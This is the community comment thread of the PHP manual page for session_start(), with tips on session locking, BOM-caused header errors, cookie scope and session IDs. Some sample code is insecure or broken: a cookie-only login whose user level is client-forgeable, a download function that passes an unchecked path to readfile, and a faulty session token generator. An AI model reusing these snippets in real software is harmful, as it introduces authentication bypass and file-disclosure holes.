I am trying to get a session created by a browser call to be used by a command line cli->curl php call (in this case, both calls to the same server and php.ini), for a set of flexible media import routines,

but the cli->curl call always starts a new session despite me putting PHPSESSID=validID as the first parameter for the url called by curl.

I was able to fix it by calling session_id($_GET['PHPSESSID']) before calling session_start() in the script called via curl.
nizamgok at gmail dot com 16-Jan-2011 11:59
Be aware that when you deliver your flash file through php, you cannot access the session vars that are set from the parent page in Opera, Safari and IE9. I didn't test it with IE6-8. Chrome and Firefox are OK. I don't know the real reason but guessing some of the header data are missing.

swf.php:
<?php

session_start();

//$_SESSION['test'] --> doesn't exist!
//session_id() --> != 'hey123'

header('Content-type: application/x-shockwave-flash');

readfile('/path/to/flash.swf');

?>

index.php"
<?php

session_id('hey123');
session_start();
$_SESSION['test'] = 'test';

?>
<object width="550" height="400">
<param name="movie" value="http://example.com/swf/">
</object>

* swf directory has an .htaccess file which points to swf.php
dave1010 at gmail dot com 17-Dec-2010 01:35
PHP locks the session file until it is closed. If you have 2 scripts using the same session (i.e. from the same user) then the 2nd script will not finish its call to session_start() until the first script finishes execution.

If you have scripts that run for more than a second and users may be making more than 1 request at a time then it is worth calling session_write_close() as soon as you've finished writing session data.

<?php
// a lock is places on the session, so other scripts will have to wait
session_start();

// do all your writing to $_SESSION
$_SESSION['a'] = 1;

// $_SESSION can still be read, but writing will not update the session.
// the lock is removed and other scripts can now read the session
session_write_close();

do_something_slow();
?>

Found this out from http://konrness.com/php5/how-to-prevent-blocking-php-requests/
chong at completemr dot com 08-Dec-2010 07:11
We are facing a problem and getting an error when loading a php page

Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - headers already sent by (output started at /www/http/example/zh_CN/unsubscribe.php:1) in /www/http/example/inc/common.php on line 4

We had google and browse through some helps file and found some suggestion as below.

1. Use ob_start to cache any output before session_start function.

2. Make sure the session.save_path in php.ini is set and point to a valid path

We had tried the above but still having some the same problem.

We are using notepad ++ for the coding.

And we notice that this file is somehow being encoded to UTF-8 by one of my colleague because he though that this will help to display the result in the correct languages.

Solution:
Change the encode to use ANSI and make sure the EOL conversion is set to UNIX.
Bingo. Things are back to normal as expected.

Note:
The encode might cause this problem in certain machine but not others. So i had no clue on this. We had no problem running the php code with UTF-8 encode in a 64bits Linux Enterprise but hit the problem running in a 32 bits Linux slackware.

Hope this helps.
user at annon dot org 08-Aug-2010 04:48
I recently stumbled upon a problem in my download script where a download link would be clicked but then no other links would work until that download had finished. Other instances/windows would not work either.

This is because session_start() locks the session data until the script finishes. In my case, until the script had finished sending the file data (which in a throttling script can take a while).

The solution is to use session_write_close();
This writes the current session data back to the session and closes the session so that other instances/windows can access the script using the same session.

Since adding it to my script my site can now have several files downloading at once from the same session and still serve pages.
milanzivanovic at gmail dot com 05-Aug-2010 01:48
Resolve for:

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at

is in changing text editor encoding to ANSI or UTF-8 without BOM.

Thanks God I found the answer!
aladinfajr at gmail dot com 31-May-2010 09:18
my problem was in
session_start();
when i include this term in my first code it show me Warning Message: Cannot Modfie cache limiter
i had tryed many solves and dosn't work

finally

i write my code in other encode
and it sccussfully worked

i hope that help
gultron at hotmail dot com 30-Mar-2010 08:02
Hi,

I just had this error saying that there is something wrong with session_start(); even if session_start(); is the only command in the script.

Warning: session_start() [function.session-start]: Node no longer exists in C:\xampp\htdocs\soui\index.php on line 3

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at C:\xampp\htdocs\soui\index.php:3) in C:\xampp\htdocs\soui\index.php on line 3

I corrected this problem by deleting all the files in the tmp directory of the webserver, C:\xampp\tmp
info.at.merchandisinginteractive.sk 01-Mar-2010 06:46
A handy script that checks fot the presence of uft-8 byte order mark (BOM) in all files in all directories starting on current dir. Combined from the work of other people here...

<?php
function fopen_utf8 ($filename) {
    $file = @fopen($filename, "r");
    $bom = fread($file, 3);
    if ($bom != b"\xEF\xBB\xBF")
    {
        return false;
    }
    else
    {
        return true;
    }
}

function file_array($path, $exclude = ".|..|design", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                if ( fopen_utf8($path . $filename) )
                {
                    //$result[] = $filename;
                    echo ($path . $filename . "<br>");
                }
            }
        }
    }
    return $result;
}

$files = file_array(".");
?>
augomat at gmail dot com 01-Feb-2010 11:55
There are some posts around about session_start() beeing terribly slow on ntfs. for me the problem occured from one day to another, system was already running fine for 2 years.
to get around it implementing a custom session_set_save_handler could be an option, although for me it worked just to put a session_write_close() somewhere near the end of my script. (maybe IIS didn't kill the php-threads fast enough?!)
info at nospam dot mmfilm dot sk 29-Dec-2009 07:58
For those of you running in problems with UTF-8 encoded files:

I was getting an error because of the BOM, although i set Dreamweaver to "save as" the without the BOM. It appears that DW will not change this setting in already existing files. After creating a new file withou the BOM, everything worked well.

I also recommend http://people.w3.org/rishida/utils/bomtester/index.php - a utility that remote checks for the presence of BOM.
jamestrowbridge at gmail dot com 29-Dec-2009 09:57
Unfortunately, after pulling my hair out trying to figure out why my application was working fine in every browser other than IE ( Internet Explorer) (Opera, Chrome, Firefox, Safari are what I've tested this in) - when using a DNS CNAME record (like a vanity name that is different from the DNS A record, which is the hostname of the server) sessions do not work correctly.

If you store a session var while on the CNAME:
vanity.example.com and the hostname of the server is hosname.example.com
Then try to call the variable from a different page, it will not find it because of the CNAME (I guess it store the variable under the hostname, then when trying to read it it's still looking under the CNAME) the same application works fine when accessing it under the hostname directly.  Keep in mind that I was testing this on an internal network.
falkon303 at gmail dot com 03-Dec-2009 12:49
I have found that you can use arrays with session variables in a very convenient manner.  Be sure to unset the array afterwards!

The following is an example.

<?php

session_start();

$sessionvars['name'] = "John";
$sessionvars['age'] = "43";
$sessionvars['gender'] = "Male";
$sessionvars['email'] = "john.doe@example.com";

$_SESSION['arvars'] = $sessionvars;
unset($sessionvars);

echo $_SESSION['arvars']['name']."<br>";
echo $_SESSION['arvars']['age']."<br>";
echo $_SESSION['arvars']['gender']."<br>";
echo $_SESSION['arvars']['email']."<br>";

?>
eugene at ultimatecms dot co dot za 24-Nov-2009 10:39
Ever get an error like this:

Warning: Unknown: open(/tmp/sess_lLFJ,tk9eFs5PGtWKKf559oKFM3, O_RDWR) failed: Permission denied (13) ?

Don't ask me how, but I managed to fix it by calling
session_id() before session_start(), at the top of the page.

Try it. Hopefully it'll help someone else.
myemail gerolf at pictureparking dot com 08-Oct-2009 04:12
please note that at least in php 5.3.0 the setting session.use_only_cookies (in php.ini) defaults to "on". This means that using trans_id, and passing the PHPSESSID via the url does not work untill you change that setting.
Charlie at NOSPAM dot example dot com 22-Sep-2009 07:04
Be warned that depending on end of script to close the session will effectively serialize concurrent session requests.   Concurrent background "data retrieval" (e.g. applications such as AJAX or amfphp/Flex) expecting to retrieve data in parallel can fall into this trap easily.

Holding the session_write_close until after an expensive operation is likewise problematic.

To minimize effects, call session_write_close (aka session_commit) as early as practical (e.g. without introducing race conditions) or otherwise avoid the serialization bottleneck.
schlang 26-Jul-2009 10:44
if you store your sessions in a database, always ensure that the type of the database column is large enough for your session values
emre@yazici 23-Jul-2009 02:46
PHP Manual specifically denotes this common mistake:

Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

See session_id() manual page for more details.
dstuff at brainsware dot org 21-Jul-2009 05:53
It seems like spaces in the name don't work either - got a new session id generated each time
abiusx at gmail dot com 12-Jul-2009 03:03
Working with Comet, or any other parallel or simultaneous requests from a single browser (a single session) would lock the application if it uses a centralized session management.

To fix this, you should add session_commit() (Alias of session_write_close() ) after ALL session management, i.e using any session_* functions except session_start() is forbidden after that an causes an error.
hperrin at gmail dot com 24-Jun-2009 01:41
When using session_start() multiple times in one script, it seems to only maintain $_SESSION variables with string keys.

<?php
session_start();
$_SESSION[0] = 'this is a test';
$_SESSION[1] = 'this is also a test';
$_SESSION['test0'] = 'this is a test';
$_SESSION['test1'] = 'this is also a test';
session_write_close();

session_start();
echo "Session var 0 = ".$_SESSION[0]."<br />";
echo "Session var 1 = ".$_SESSION[1]."<br />";
echo "Session var 'test0' = ".$_SESSION['test0']."<br />";
echo "Session var 'test1' = ".$_SESSION['test1'];

?>

Outputs:
Session var 0 =
Session var 1 =
Session var 'test0' = this is a test
Session var 'test1' = this is also a test
gilthans NOSPAN at gmail dot com 04-Jun-2009 05:55
If two different files don't access the same session, it can only mean one thing: they aren't on the same directory level.
Examples:
a) One is under https, and one is under http. (very common and annoying error)
b) One is under /, another is under /dir1, and /dir1 was first to run. The cookie created by the session is for /dir1 and deeper only, so the other script can't read it; it sees no session so it starts a new one.

Solutions:
1) Session start should always happen at root dir. If one of your scripts discovers user is not logged in, for example, use session_destroy() and send him to the login in the root dir. Scripts that use session without requiring login needs more creative solutions, like redirecting to the root dir, setting the session, and redirecting back.
2) Use SID from page to page, instead of cookies. The upside is that this also works with http/https. The downside is very ugly URL codes and more difficult maintainability ('which pages links to gallery.php without using SID?!').
kavih7 at yahoo dot com 18-May-2009 04:52
I ran into a problem that has a solution that may not be quite intuitive to people (well, atleast it wasn't for me). I had one script that called session_start() and that script would run for an indefinite amount of time. I had a second script that would also call session_start(), but would only run for a few seconds each time it is called.

Here is where the problem occurs: Once session_start is called from the long living script, no other script can call session_start until that long running script calls session_commit() (session_write_close()) or ends.

In any case, this may have seem very intuitive to others, but having an abstracted system in place, I never see the session management at the script level, so it was hard to figure out what was locking any other requests.

Hope this helps others.
suporte2 at sosdominios dot net 07-May-2009 06:39
I found myself in trouble when using $_SESSION['varname']. The value from varname was not shown with echo $_SESSION['varname'] in the page where I'd like to use that value.
After many tries I found that session_start() was missing in the page where I'd like to use the value from varname. When I put de session_start() in that page the problem was solved.

--

Tive problemas utilizando $_SESSION['variavel']. A variavel não aparecia na página que deveria utiliza-la.
Após muitas tentativas pude verificar que não estava usando session_start() na página que receberia o valor da variável.
Inseri session_start() nessa pagina tambem e funcionou perfeitamente!
Gravis 01-Apr-2009 11:04
If you want to check if a session has already been activated, you can check $_COOKIE["PHPSESSID"] for a value before reactivating that session.

Example code:

== login.php ==
<?php
  session_start();
  $_SESSION["data"] = "you have an active session!";
  echo "<a href=\"page.php\">go</a>";
?>

== page.php ==
<?php
  if(isset($_COOKIE["PHPSESSID"]))
  {
    session_start();
    echo $_SESSION["data"];
  }
  else
  {
    echo "no cookies required!";
  }
?>

This can prevent forcing a cookie on someone (very annoying in lynx) that doesnt intend to login on your site.
LaurenceJ44 at Hotmail dot com 01-Apr-2009 12:36
I kept getting:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at myfile.php:2)

Only when I had uploaded my pages from my home development server to my hosted website.  the same page worked fine in development, so there must be a difference in the php setup, but since this is a site that hosts many different clients web sites, I can't get them to change thier config.

After a little bit of research and trial and error, I found the cure was to move the line:
<?php session_start(); ?>

to be the very 1st line in any .php file.

orginally I had:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<?php session_start(); ?>
<html>
<head>
...etc

so I changed it to :
<?php session_start(); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
...etc

and all is well...

The clue is in the warning message, it ends :2)  which means the session_start() call is not on line 1 of the file!

Hope this helps & good Luck

Loz
microvalen at NOSPAM dot microvalen dot com 22-Mar-2009 10:09
I have tried many times a lot of login scripts but sometimes when you have a lot of traffic you can note the "overloading" of the server tring to deal with all sessions specialy with the long, long scripts and classes ... checking all stuffs (ids, ips, usernames, etc) the loading page increase ...specialy when you have a "home" server with a small blog..

if you open the folder "/tmp" you will thousands of files that do nothing else that increasing the size of the folder.
Sessions are good and I just offer an alternative.
.. and for that I just created in about 20 min a simple script that can handle a simple login.

<b>(Be aware !! this is just an example .. it not make use of any check of xss atacks or other scripts !!!</b>

and make use of cookies [today all moderns browsers use cookies])

<?php

$mysqli = new mysqli('localhost', 'root', 'pass', 'nameofDB');

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit(); }

$cookie = (isset($_COOKIE['vuid'])) ? $_COOKIE['vuid'] : '';

if(!$cookie) {
    $user_level = 0;
    setcookie('vuid', '0.' . md5('anonymous')); }
else {
    $part = explode('.', $cookie);
    $user_level = (int) $part[0];
    $user_name = (string) $part[1];

    if($user_level != 0) {
        $is_logged = check_login($user_level, $user_name); }
    else {
        $is_logged = false; } }

if(isset($_GET['login'])) {
       // here you MUST make a form and a function that realy check the login ...
        if($YourFunctionCheckIsOk) {
    setcookie('vuid', /*levels betwen 1-9*/ '9.' . md5('PutTheUserNameHere'));
    echo '<meta http-equiv="refresh" content="1;URL=index.php">
    Correct Login<br>
    You will be redirected to the main page'; } }
elseif(isset($_GET['logout'])) {
    setcookie('vuid', '0.' . md5('anonymous'));
    echo '<meta http-equiv="refresh" content="1;URL=index.php">
    You are out now ... see you soon<br>
    You will be redirected to the main page'; }
else {
    if($is_logged) {
        echo 'Welcome ' . USERNAME . ' <a href="?logout">LOGOUT</a>'; }
    else {
        echo 'You are a Anonymous. LOGIN <a href="?login">HERE</a>'; } }

function check_login($user_level, $user_name) {
    global $mysqli;

    $is_logged = false;

    $result = $mysqli->query('SELECT nick FROM accounts WHERE user_level = ' . $user_level);
    $row = $result->fetch_array();
    $result->close();
    if($user_name === md5($row['nick'])) {
        define('USERNAME', $row['nick']);
        return $is_logged = true; }
    return $is_logged = false; }

$mysqli->close();

?>

PS: you can change the nick with the ip or better use both !
like:
 "level.md5(sha1(nick)).sha1(md5(ip)) etc ...
 "0.4aea7c7d495676.4aea7c7d495676"
and check them separetly by <a href="http://php.net/explode">"exploding"</a> them ..
play arround ...
tchalvakspam at gmail dot com 23-Feb-2009 01:25
Be aware that if a browser isn't accepting cookies, it can cause the session to invisibly not save between two pages.

So for example, in Firefox 3.0.6 there is a bug where "localhost" addresses are currently not saving cookies.  This will kill any attempts to use session code in development where localhost is used.

One workaround for this is to use a different synonym for the localhost address, i.e. http://127.0.0.1/, or set up a virtualhost, e.g. http://localdevelopment/

Overall, pay close attention if you see to different, unexpected session behavior in two different browsers, it may be a result of the cookies being handled differently or being dropped.
yesmarklapointe at hotmail dot com 04-Feb-2009 04:32
Here is some info about how to use SID with session_start().
Experiment run on WAMPserver, PHP version 5.2.6.
Using FireFox 3.0.

The definition found at http://www.php.net/manual/en/session.constants.php
describes SID is a “pre-defined constant” containing either:
1). the session name and session ID in the form of "name=ID" .
This is the same name as would be returned by session_name(), and the same id as would be returned
by session_id().

2).  Or an empty string,  if the session ID was set in an appropriate session cookie.

Example code:
<?php
session_start();
echo '<a href="page2.php?' . SID . '">page2</a>';
?>

This code will yield in the browser one of the following:
a).   “page 2”      (as a hyperlink, but mouseover shows the link is to something in the form of
http://www.example.com/page2.php?PHPSESSID=e2bd7072....  )

b).   “page 2”     (as a hyperlink, but mouseover shows http://www.example.com/page2.php? )

Which result is determined by whether or not the browser is sending a matching session cookie back to the script. Result “a” above always appears at least initially since the script hasn’t yet set a cookie and neither has it been done automatically yet by the php.ini setting session.use_cookies. However, after refreshing or using the back button, the form in "b" will appear because then the cookie exists (either you set it or session.use_cookies did it automatically).
info at vanylla dot it 30-Jan-2009 04:06
If while testing locally on your Windows machine you get many warnigns like:

Warning: session_start()... failed: No such file or directory
Warning: session_start()...: Cannot send session cache limiter - headers already sent
etc.

you need to configure properly the session.save_path in your php.ini file.

Set session.save_path to an existing folder on your PC.
For example: session.save_path="C:\Temp";
Jessycormier at gmail dot com 24-Jan-2009 03:14
I found i was getting a lot of
"Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent "

Warnings, on some pages, where as on other pages it worked just fine.

After some time looking around and trying things like ob_start() and session_write_close()... nothing seemed to work.

Then i realized the encoding of the page. I checked the encoding of the page and it was set to UTF-8, so I changed it to ANSI and now the Warnings went away.

Good luck any one else.
philippe dot latulippe at xxxxgmail dot com 11-Jan-2009 06:12
When using session_start() with cookies over an encrypted connection (like HTTPS) it is important to set php_ini('session.cookie_secure',true).  This sets a flag in the cookie which will stop browsers from sending this cookie over an unsecured connection.  If this is not done, a Man-In-The-Middle could easily cause the victim's browser to send his session ID in plaintext, gaining access to the account and defeating the goal of the secure connection.

http://fscked.org/blog/fully-automated-active-https-cookie-hijacking
zidaine_38 at yahoo dot com 05-Dec-2008 08:31
<?php
class SESSION
{
   public function __construct ()
   {
   self :: commence ();
   }

   public function commence ()
   {
    if ( !isset( $_SESSION ['ready'] ) )
     {
      session_start ();
      $_SESSION ['ready'] = TRUE;
     }
   }

   public function set ( $fld , $val )
   {
   self :: commence ();
   $_SESSION [ $fld]  = $val;
   }
   public function un_set ( $fld )
   {
   self :: commence ();
   unset( $_SESSION [$fld] );
   }
   public function destroy ()
   {
   self :: commence ();
   unset ( $_SESSION );
   session_destroy ();
   }
   public function get ( $fld )
   {
   self :: commence ();
   return $_SESSION [$fld];
   }
   public function is_set ( $fld ) {
   self :: commence ();
   return isset( $_SESSION [$fld] );
   }
}
?>

This Class is handy to all who want easy session handling.
Just include () or require () this to pages where you will have to use session.

example:

<?php
 include ( "/path/to/sess.inc.php" );
 if( !SESSION :: is_set ( "number" ) )
  {
   SESSION :: set ( "number" , 1 );
  }
 else
  {
   $_SESSION ["number"] ++;
  }
  echo SESSION :: get ( "number" );
?>
andy_isherwood at hotmail dot com 18-Nov-2008 06:54
A session created with session_start will only be available to pages within the directory tree of the page that first created it.

i.e. If the page that first creates the session is /dir1/dir2/index.php and the user then goes to any page above dir2 (e.g. /dir1/index.php), session_start will create a new session rather than use the existing one.
aban at datahouselibya dot com 17-Jul-2008 08:11
for resolve the problem with session_start()
Cannot send session cache limiter - headers already sent (output started at ..."

write it at first line of the page like

<?php session_start(); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<body>
<?php $_SESSION['name']='mohamed'; ?>
</body>
<html>
michael at pythontech dot net dot au 13-Jul-2008 08:17
@ash

Whilst this may prevent session hijacking attempts, it also ruins the user experience, pressing back and forward will result in the 'security' token being out of sync. Also opening new tabs/ windows will also cause issues.

A better method would be to simply check the ip address or ip block of the user. But this is not without problems either.

To access highly sensitive information, the user should be required to enter his/her password again, even tho they are logged in. This ensures that session hijackers can not access this information.

All this goes hand-in-hand with regenerating session ids on login, and good use of https.
ash at atomic-network dot co dot uk 28-May-2008 09:33
@My last post...
the function will generate the session "token" you just need to do a check and regenerate it on each page load...
ash at atomic-network dot co dot uk 28-May-2008 09:29
When developing applications or just creating a general website with the use of sessions, many developers do not think about securing session hijacking attacks. For further information I recommend searching google, however I have produced a small function to be called immediately after session_start().

your_page.php:
<?php
session_start();
include_once 'session_secure.inc.php';
session_secure();
# Your content here.
?>

session_secure.inc.php :
<?php
function session_secure(){
    // wrapped for the php entry....
    $alph =array('A','a','B','b','C','c','D','d','E',
    'e','F','f','G','g','H','h','I','i','J','K','k',
    'L','l','M','m','N','n','O','o','P','p','Q','q',
    'R','r','S','s','T','t','U','u','V','v','W','w',
    'X','x','Y','y','Z','z');
    for($i=0;$i<rand(10,20);$i++){
        $tmp[] =$alph[rand(0,count($alph))];
        $tmp[] =rand(0,9);
    }
    return implode("",shuffle($tmp));
}
?>

There are quicker ways like md5(time()*rand()), however the function above is completely random, and will render an attackers hijacking task almost impossible.
vladimir at pixeltomorrow dot com 14-May-2008 07:31
Kind of ankward it's not mentioned here, but you should also trigger the session_write_close() function as soon as possible so you'll release the lock over the session files.

Cheers,
Vladimir Ghetau
chrismckeeuk at gmail dot com 10-May-2008 12:51
If your sessions are failing to hold the stored data ensure that session.use_only_cookies is set to 1 in your PHP.ini config.

Also using the session auto start saves on a lot of issues and removes the issue of people setting the session_start after the html begins.
Anthony Catel p at NOSPAM dot rabol dot fr 03-May-2008 08:02
session_start() generate a warning if PHPSESSID contains illegal characters

Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /home/para/dev/mon_site/header.php on line 17

To avoid i wrote this :

<?php
    function my_session_start()
    {
        if (isset($_COOKIE['PHPSESSID'])) {
            $sessid = $_COOKIE['PHPSESSID'];
        } else if (isset($_GET['PHPSESSID'])) {
            $sessid = $_GET['PHPSESSID'];
        } else {
            session_start();
            return false;
        }

        if (!preg_match('/^[a-z0-9]{32}$/', $sessid)) {
            return false;
        }
        session_start();

        return true;
    }
?>
php at hogerheijde dot net 29-Feb-2008 11:53
That's why you shouldn't use register_globals and refer to
$_GET['id']
for the page.php?id=1
or if you don't care if it is GET or POST you can use
$_REQUEST['id']

Those will not be cleared by session_start().

To complete: you should use $_SESSION['id'] to get the content of the session.
jphansen at uga dot edu 25-Feb-2008 11:12
I just wrote that session_start() will erase your querystring variable(s) once called. I want to clarify that it will only do this if a variable by the same subscript is defined in $_SESSION[].
jphansen at uga dot edu 25-Feb-2008 10:55
Warning, calling session_start() will reset your querystring values.

Navigating to page.php?id=1

<?php
echo "id = $id"; // 1
session_start();
echo "id = $id"; // ""
?>
fixis at nexus dot com 16-Feb-2008 06:42
I also found using session_write_close(); after you send your custom headers sometimes helps on some servers.  This protects any data from being cleared out by some of these errors mentioned.
cbake6807 at comcast dot net 05-Feb-2008 08:20
Having a problem in IE causing your getFile.php script to be pushed to the browser as an empty text file, instead of the intended attachment?

If your php config causes session_start() to output a cookie, or anything funky, IE will not like the filename and will also try and read the file contents inline into the browser window.

Don't use session_start() or USE Output Buffering after the session is started.

<? //session_start();

    function force_download($file)
    {
        if ((isset($file))&&(file_exists($file))) {
           $fileArray = explode("/", $file);
           header("Content-type: application/force-download");
           header("Content-Disposition: attachment; filename=".$fileArray[sizeof($fileArray)-1]);
           header("Content-Transfer-Encoding: Binary");
           header("Content-length: ".filesize($file));
           header('Content-Type: application/octet-stream');
           header("Content-Disposition: attachment; filename=".$fileArray[sizeof($fileArray)-1]);
           readfile("$file");
        } else {
           echo "No file selected";
        } //end if

    }//end function

?>
rudylattae at gmail dot com 27-Jan-2008 05:58
File Encoding was causing my session_start() statement to generate an unexpected warning.

Environment:
OS: Windows XP Pro (32bit)
PHP: v5.2.5
Apache: v2.0.61

I was having this warning:
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at ...

I was rather pissed off because I know of this issue and I know how to fix it:

1) Just make sure the session_start() directive is processed before any other statements that modify the content headers.

2) Failing #1 above, you should also make sure that your script files do not have any beginning/trailing space or carriage return characters.

3) As a last stand, you could use output buffering to hold your stuff in memory and then spit it out at the very end. This would essentially allow you to manipulate the headers to your heart's content without getting any crap from php.

Note: with regards to #2 above, I know some devels use the interesting construct of no closing php braces e.g.:

> info.php
<?php
    phpinfo();

?> (they omit this)

It seems the tag is not required by php (at least php does not puke) so the parser does not treat any trailing spaces as output to be sent to the user agent. I'm not using this loop-hole at the moment.

Anyway the above resolutions *did not* work for me (yer even #3) and I was about to give up and just gag php with good ol "@".

It was then that I thought to check the encoding of my php file. Turns out I had left my editor in UTF-8 encode mode from some previous (i18n) work I had done. I switched to ANSI and that fixed the problem. Suddenly the same file that had caused php to scream in pain was being processed without any issues.

I also noted that I could set the editor to "Encode in UTF-8 without BOM" and that also works. The BOM is the byte order mark which php probably glosses over (or does not understand). I didn't look too far into it.

I hope this helps someone else.

Cheers!
omnibus at omnibus dot edu dot pl 07-Jan-2008 03:29
You probably know it but in case somebody did not:
session_start() must be called BEFORE any explicit operations on the $_SESSION variable; otherwise $_SESSION will be treated as an ordinary variable and not stored for future use.
k dot dafalias at ist dot eduhi dot at 14-Nov-2007 04:25
If you encounter "The session id contains illegal characters" error, find out, if you get an empty session id.
If so, the problem ist fixed easily:

if(!session_id()) session_regenerate_id();
bulk at janoszen dot hu 09-Oct-2007 11:13
Don't *ever* use /dev/random as a session entropy file, because session_handler will hang for a *long* time after open(). This configuration will be *the* overkill:

<?php
ini_set("session.entropy_file", "/dev/random");
ini_set("session.entropy_length", "512");
?>

Use /dev/urandom instead. The reason for this is (from Wikipedia):

A counterpart to /dev/random is /dev/urandom ("unlimited" random source) which reuses the internal pool to produce more pseudo-random bits. This means that the call will not block, but the output may contain less entropy than the corresponding read from /dev/random.

We spent 2 days on figuring this out. You have been warned.
ehassler at synapsestudios dot com 19-Sep-2007 04:32
At work we had an odd warning, "Cannot send session cache limiter - headers already sent". In the following:

header('meta:1');
session_start();

the first header went across fine, but the session_start died with the warning.

What was happening was that the session contained an object which fired __autoload() when it was unserialized. The __autoload() then included the file with the class definition, but that file also output non-header text.  This caused session_start() to be unable to add the session_id to the headers.

This was difficult to find because we weren't able to see the text that was output from the file that was __autoload()ed, only the warning.
(zero)luke(zero)(at)gmail(dot)com 06-Jul-2007 03:55
Regarding the posts discussing ways of checking if a session is active, I've found that this is the best way, aslong as you dont assign any variables to the $_SESSION superglobal before calling the function.

The Function:

<?php

function session_started(){

    if(isset($_SESSION)){ return true; }else{ return false; }

}

?>

An Example:

<?php

function session_started(){
    if(isset($_SESSION)){ return true; }else{ return false; }
}

//Start the output buffer so we dont create any errors with headers
ob_start();

//Check to see if it has been started
if(session_started()){
    echo 'The session has been started.<br />';
}else{
    echo 'The session has not been started.<br />';
}

//Start the session
echo 'Starting Session...<br />';
session_start();

//Check again
if(session_started()){
    echo 'The session has been started.<br />';
}else{
    echo 'The session has not been started.<br />';
}

//Flush the buffer to screen
ob_end_flush();

?>

Hope this helps some people.
Steffen dot Pietsch at berlinonline dot de 15-May-2007 03:05
Beware to use $_SESSION as parameter to a function.
(here: php5  5.1.2)

Use:
    $s=array(); foreach($_SESSION as $k => $v) $s[$k]=$v;
    $result = VeranstaltungTermin::search($s, $quellen, $KatCount);

otherwise the garbage-collection of php5 will destroy at end of script Your $_SESSION array before writing to disk
Chris Brown 24-Apr-2007 04:17
Here's another session tip for you, relevant to IE6:

If you find that your session is unexpectedly lost when your application opens a page in a pop-up window, try closing down any other copies of IE running on your machine.

The problem is that IE doesn't always use the same IE process to host a new pop-up window - it chooses one (using some mysterious strategy) from the pool of running IE processes! Since session information (cookies) is not preserved across processes, the pop-up may loose the session (and probably redirect the user to your log-in page.)

I don't know a work-around for this, except for close all other IE windows. Microsoft state that they do not guarantee that sessions will be preserved across multiple windows: http://support.microsoft.com/default.aspx/kb/196383
leandroico---at---gmail---dot---com 17-Mar-2007 04:21
TAGS: session_start headers output errors include_once require_once php tag new line

Errors with output headers related to *session_start()* being called inside include files.

If you are starting your session inside an include file you must be aware of the presence of undesired characters after php end tag.

Let's take an example:
> page.php
<?php
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';

echo "Damn! Why I'm having these output header errors?";
?>

> i_have_php_end_tag.inc.php
<?php
$_JUST_A_GLOBAL_VAR = 'Yes, a global var, indeed';
?>

> init_session.inc.php
<?php
session_start();
$_SESSION['blabla'] = 123;
?>

With all this stuff we will get an error, something like:
"... Cannot send session cache limiter - headers already sent (output started at ...", right?

To solve this problem we have to ignore all output sent by include files. To ensure that we need to use the couple of functions: *ob_start()* and *ob_end_clean()* to suppress the output. So, all we have to do is changing the *page.php* to this:

<?php
ob_start();
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';
ob_end_clean();

echo "Woo hoo! All right! Die you undesired outputs!!!";
?>
iam1981 26-Feb-2007 05:45
I had the same "session data lost" issue. I couldn't solve it with a single session_start(). Instead I had to include session_start() in each page.

Another X File archived...
design at ericcorriel dot com 15-Feb-2007 08:08
For those encoding their pages in UTF-8 but running into problems with BOM data (Byte Order Marks) being outputted before anything else - such as $_SESSION data - but wish to use UTF-8 encoding, and who do NOT wish to use UTF-8 No BOM encoding because the latter produces weird results when using foreign language accented characters, try the following :

- Save your document with UTF-8 No BOM encoding (on a mac, using BBEdit, this is normally found on the very bottom left corner of the window).  This will produce a document that will not output BOM data.
- then, in your scripts, include the following:

header('Content-Type: text/html; charset=UTF-8');

before your call to session_start()

hope that helps someone.
r dot s dot goldsmith at far-blue dot co dot uk 24-Jan-2007 03:22
If you ever want to know whether a session is open or has already been closed (e.g. with session_write_close()) when you need to open one (in my case, writing a framework and, therefore, not controlling the session directly), I have been unable to find an official check. However, I did notice that session_start() has the following behaviour:

* If the session has been open before but is now closed, when you call session_start() the $_SESSION array is reset to the content of the session.

* If the session is already open, the $_SESSION array is left totally untouched.

Therefore, I came up with the following (obviously assuming you have already tested $_SESSION exists):

<?php
$_SESSION['testMe']='test';
@session_start();

if(isset($_SESSION['testMe']))
{
    echo "Session was open\n";
    unset($_SESSION['testMe']);
}
else
    echo "Session was closed\n";
?>

Until someone can tell me the 'official' way to do it, this seems to work.

Just to save some confusion, $_SESSION, session_id() and the SID define all maintain their values after a session_write_close() so are of no use in identifying if a session is currently open or not. Hence this trick.
Devour 18-Jan-2007 02:51
How many times you've seen this error when actually your code is perfect:

Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in

Usually there are MANY reasons why such an error can appear into your logs, page, etc. (one way to generate it, is to send PHPSESSID='').

But it wasn't our case. We checked everything, and we even logged the entire request ($_GET, $_POST) that was generating the error.
Still no luck. Until one point, when we checked what the session cookie contains.
It seems there are few bots that are trying to buffer overflow (?) a page, using session cookies manually changed to contain something else than session id (strlen == 32 and  hex number) The bot in our case was trying to mass submit spam on pages.
